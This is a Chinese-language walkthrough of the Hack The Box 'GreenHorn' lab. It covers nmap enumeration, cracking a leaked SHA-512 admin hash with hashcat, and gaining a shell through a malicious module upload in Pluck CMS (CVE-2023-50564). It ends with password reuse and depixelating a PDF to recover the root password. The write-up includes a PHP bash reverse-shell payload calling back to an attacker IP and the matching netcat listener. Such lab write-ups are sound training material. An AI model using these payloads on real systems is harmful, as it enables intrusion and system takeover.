GreenHorn 靶机笔记
概述
GreenHorn 是 HTB 上的一个 linux easy 难度的靶机,主要是通过信息搜集和代码审计找到对我们有用的信息。其中还包含了对pdf文件的修复技术
靶机地址:https://app.hackthebox.com/machines/GreenHorn
一丶 nmap 扫描
1)端口扫描
-sT 以 TCP 全连接扫描,–min-rate 10000 以最低 10000 速率进行扫描,-p-进行全端口扫描,-o ports 结果输出到 ports 文件中
nmap -sT --min-rate 10000 -p- 10.10.11.25 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 03:55 EDT
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 32.56% done; ETC: 03:55 (0:00:27 remaining)
Warning: 10.10.11.25 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.25
Host is up (0.26s latency).
Not shown: 33635 closed tcp ports (conn-refused), 31897 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
Nmap done: 1 IP address (1 host up) scanned in 147.73 seconds
 
2)详细信息扫描
以-sT 以 tcp, -sV 探测版本, -sC 以默认脚本 扫描端口 $ports,-O 探测操作系统版本,输出到 details 文件中
nmap -sT -sV -sC -p22,80,3000 10.10.11.25 -o details 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 04:04 EDT                                                                    
Nmap scan report for 10.10.11.25             
Host is up (0.43s latency).                                     
PORT     STATE SERVICE VERSION               
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)                 
| ssh-hostkey:
|   256 57d6928a7244841729eb5cc9636afefd (ECDSA)           
|_  256 40ea17b1b6c53f4256674a3cee75232f (ED25519)        
80/tcp   open  http    nginx 1.18.0 (Ubuntu)               
|_http-server-header: nginx/1.18.0 (Ubuntu)           
|_http-title: Did not follow redirect to http://greenhorn.htb/                 
3000/tcp open  ppp?             
| fingerprint-strings:                 
|   GenericLines, Help, RTSPRequest:     
|     HTTP/1.1 400 Bad Request            
|     Content-Type: text/plain; charset=utf-8        
|     Connection: close                            
|     Request                
|   GetRequest:                          
|     HTTP/1.0 200 OK                                   
|     Cache-Control: max-age=0, private, must-revalidate, no-transform       
|     Content-Type: text/html; charset=utf-8           
|     Set-Cookie: i_like_gitea=ee70815cf933490f; Path=/; HttpOnly; SameSite=Lax          
|     Set-Cookie: _csrf=cxvY7yNHIOWsTQ38C0zH-zadPw46MTcyMzg4MTg4ODM0MTc3MjUyOA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax      
|     X-Frame-Options: SAMEORIGIN                   
|     Date: Sat, 17 Aug 2024 08:04:48 GMT                               
|     <!DOCTYPE html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.28 seconds
 
3)默认漏洞脚本扫描
nmap --script=vuln 10.10.11.25 -o vuln     
Nmap scan report for 10.10.11.25
Host is up (1.8s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3000/tcp open  ppp
8000/tcp open  http-alt
 
详细信息扫描看到 http-title: Did not follow redirect to http://greenhorn.htb/ 要去 /etc/hosts 文件绑定域名和 ip
10.10.11.25     greenhorn.htb
 

写进去就可以访问 web 页面了
二、web 渗透
1)80 端口
访问
http://greenhorn.htb
 
 
看到是一个 pluck 的 cms,admin 也是可以点击的。点击进去

需要密码,也给出了 pluck 的版本是 4.7.18
google 搜索大法找到:Pluck 安全漏洞(CVE-2023-50564)
好了,我们现在知道等了进去就可以利用文件上传反弹 shell 了 但我们要怎么登陆呢,没有密码啊
2)3000 端口
 
我们可以注册,登陆进去看看

发现网站源码,看看有没有什么密码的信息,我们要进入 pluck 的后台才有机会获得立足点
通过审计
在 login.php 看到校验


在  pass.php  中发现 ww 变量
刚才也看到了他是 sha512 hash 算法加密的,我们复制出来用 hashcat 破解
- -a 设定密码破解模式
 - -m 设定加密类型
 
hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' /usr/share/wordlists/rockyou.txt 
 
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
 
看到密码
iloveyou1
登陆 80 端口的后台服务

三、获得立足点
在 options 里我们选择 mange modules 里的 install a module

我们需要去找一个 php 的 zip 压缩包
准备一句话木马
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.21/4444 0>&1' "); ?>
zip rev.zip rev.php 
 
上传

本地监听端口
sudo rlwrap nc -lvp 4444
 

看到成功获得立足点
四、提权到 root
我们获得了 www-data 的权限,去机器的家目录下看看有哪些用户
www-data@greenhorn:/home$ ls
git
junior
 
看到 git 和 junior 用户,现用之前获得的密码 iloveyou1 碰撞一下这两个用户的 ssh

成功拿到 junior 的 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
junior@greenhorn:/var/www/html/pluck$
 

看到 Using OpenVAS.pdf 文件
开启一个 python 的 http 协议
junior@greenhorn:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
 
kali 中执行
wget http://greenhorn.htb:8000/'Using OpenVAS.pdf' 
 

下载成功,重命名
mv 'Using OpenVAS.pdf' greenhorn.pdf
 

打开 pdf,看到密码被打上了马赛克,分析内容,这个密码应该就是提取 root 的关键
sudo apt-get install poppler-utils
pdfimages greenhorn.pdf ./root
 
用到 depix: https://github.com/spipm/Depix 修复像素
python depix.py -p ../root-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ../root_pass.png
 

可以看到密码
sudo ssh root@greenhorn.htb
 
成功获得root权限

总结
- 通过nmap扫描发现目标开启了22,80,3000端口,在3000端口的版本控制平台注册账户,看到了目标系统的源码,从而拿到了80端口http服务的凭证
 - 通过利用
Pluck 安全漏洞(CVE-2023-50564)成功拿到www-data的shell。 - 利用相同的口令凭证获得了用户
junior的权限,在家目录下看到了一个pdf文件,进行像素修复,拿到了root权限 



















